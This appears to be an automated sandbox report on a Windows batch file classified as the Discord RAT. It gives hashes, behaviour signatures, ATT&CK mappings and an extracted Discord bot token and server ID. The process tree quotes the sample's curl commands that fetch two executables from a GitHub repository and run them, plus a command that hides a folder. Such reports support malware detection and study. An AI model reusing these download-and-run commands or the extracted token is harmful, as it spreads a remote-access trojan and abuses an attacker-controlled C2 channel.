Analysis

  • max time kernel
    1485s
  • max time network
    1499s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240611-en
  • resource tags

    arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    29-06-2024 13:37

General

  • Target

    Sharp CS V1.bat

  • Size

    551B

  • MD5

    a15cfc6331f0054de73a5353ee57bf21

  • SHA1

    a58aa430e12ccb6eb1da97faf6144a28bec218c1

  • SHA256

    e6c1cccd7586150fa37740b2fc0c2ecb919b0d18d257a2f7ad223678c8552a80

  • SHA512

    3ee703a10768f76a3afa9be065becfb05c36ad67af9ad30849f1106deb153d975938901453a957900981bcf61330b4cd57e3ca4f4566289fb8114d8bbcfc0425

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTI0MzQwMDg0MDc3NDE2MDM4NQ.Gnre8o.K_NB2WHxREqF5j5C1y9xsPSpv67TWHFacISXVA

  • server_id

    1256564842899181648

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sharp CS V1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4272
    • C:\Windows\system32\curl.exe
      curl -LJO https://github.com/LongYears9/tools/raw/master/System.exe
      2⤵
      • Drops file in Program Files directory
      PID:3652
    • C:\Windows\system32\curl.exe
      curl -LJO https://github.com/LongYears9/tools/raw/master/Packages.exe
      2⤵
      • Drops file in Program Files directory
      PID:1592
    • C:\Program Files\System64\System.exe
      "C:\Program Files\System64\System.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1012
    • C:\Program Files\System64\Packages.exe
      "C:\Program Files\System64\Packages.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2500
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c mode con:cols=0120 lines=0030
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1828
        • C:\Windows\SysWOW64\mode.com
          mode con:cols=0120 lines=0030
          4⤵
            PID:3988
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c title Window Title
          3⤵
            PID:792
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\myfiles" mkdir "C:\Users\Admin\AppData\Local\Temp\myfiles"
            3⤵
              PID:2696
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\wtmpd" mkdir "C:\Users\Admin\AppData\Local\Temp\wtmpd"
              3⤵
                PID:2436
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
                3⤵
                • Hide Artifacts: Hidden Files and Directories
                • Suspicious use of WriteProcessMemory
                PID:2752
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
                  4⤵
                  • Views/modifies file attributes
                  PID:1544
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\i6.t
                3⤵
                  PID:1224
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\i6.bat
                  3⤵
                    PID:456
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c
                    3⤵
                      PID:3612
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c pause
                      3⤵
                        PID:2872

                  Network

                  MITRE ATT&CK Matrix ATT&CK v13

                  Defense Evasion

                  Hide Artifacts

                  2
                  T1564

                  Hidden Files and Directories

                  2
                  T1564.001

                  Discovery

                  System Information Discovery

                  1
                  T1082

                  Command and Control

                  Web Service

                  1
                  T1102

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Program Files\System64\Packages.exe
                    Filesize

                    83KB

                    MD5

                    e155e62ecf5be9131dadecb19213a92a

                    SHA1

                    9ed3d1543b037e901c8870bd360bd5d65e15bda1

                    SHA256

                    70e2268a76050c6354ad22b0b997a41a48d7148219f6459acd44aadabe3bc500

                    SHA512

                    fdc30e0fc2d98b27a7fd145247373e5a38856cacaf6f6f66f2716175a4e2ced25f7383a1a42c2c8863a937a345362748575db4a65945e29c3f787975e1402959

                  • C:\Program Files\System64\System.exe
                    Filesize

                    78KB

                    MD5

                    e102b8965e704f7ec4a214ce99b135c8

                    SHA1

                    8cba275b20c831b3b8f0506b5be5a3b0933b77c0

                    SHA256

                    8d172d0825449e0471982d06cac82536652167eee091815da823ae1d1fffedcf

                    SHA512

                    71e46823794dc72ff76c674e16538d24d18d0c9cb14bfa28c0bae38a3ebeeeba7a503fea5f9f5504c631eeaffe61a2187453c2d5991dd1c84a2c6ce48f5f4158

                  • C:\Users\Admin\AppData\Local\Temp\i6.bat
                    Filesize

                    173B

                    MD5

                    0f8f70e88009593eefaa155a8e31b1d6

                    SHA1

                    eabcc3f2135e0919e9456da0a4b1084f3382d4b6

                    SHA256

                    941c169c07670650fc6c6148c1cae068b69bac209e05010594e164aafc7cdf8b

                    SHA512

                    94df468b963f3c9d133a25e1ffa57039fac01fe960f0f738552ca6440e6242ff48d0b410fe70dd05a62e4842c925c9f2b0220ca9eb9cb4ff5490ada443c9a750

                  • C:\Users\Admin\AppData\Local\Temp\i6.t
                    Filesize

                    3B

                    MD5

                    a5ea0ad9260b1550a14cc58d2c39b03d

                    SHA1

                    f0aedf295071ed34ab8c6a7692223d22b6a19841

                    SHA256

                    f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04

                    SHA512

                    7c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74

                  • memory/1012-7-0x00007FFE8A273000-0x00007FFE8A275000-memory.dmp
                    Filesize

                    8KB

                  • memory/1012-8-0x0000025CAD620000-0x0000025CAD638000-memory.dmp
                    Filesize

                    96KB

                  • memory/1012-9-0x0000025CC7C70000-0x0000025CC7E32000-memory.dmp
                    Filesize

                    1.8MB

                  • memory/1012-11-0x00007FFE8A270000-0x00007FFE8AD32000-memory.dmp
                    Filesize

                    10.8MB

                  • memory/1012-18-0x0000025CC8470000-0x0000025CC8998000-memory.dmp
                    Filesize

                    5.2MB

                  • memory/1012-19-0x00007FFE8A273000-0x00007FFE8A275000-memory.dmp
                    Filesize

                    8KB

                  • memory/1012-20-0x00007FFE8A270000-0x00007FFE8AD32000-memory.dmp
                    Filesize

                    10.8MB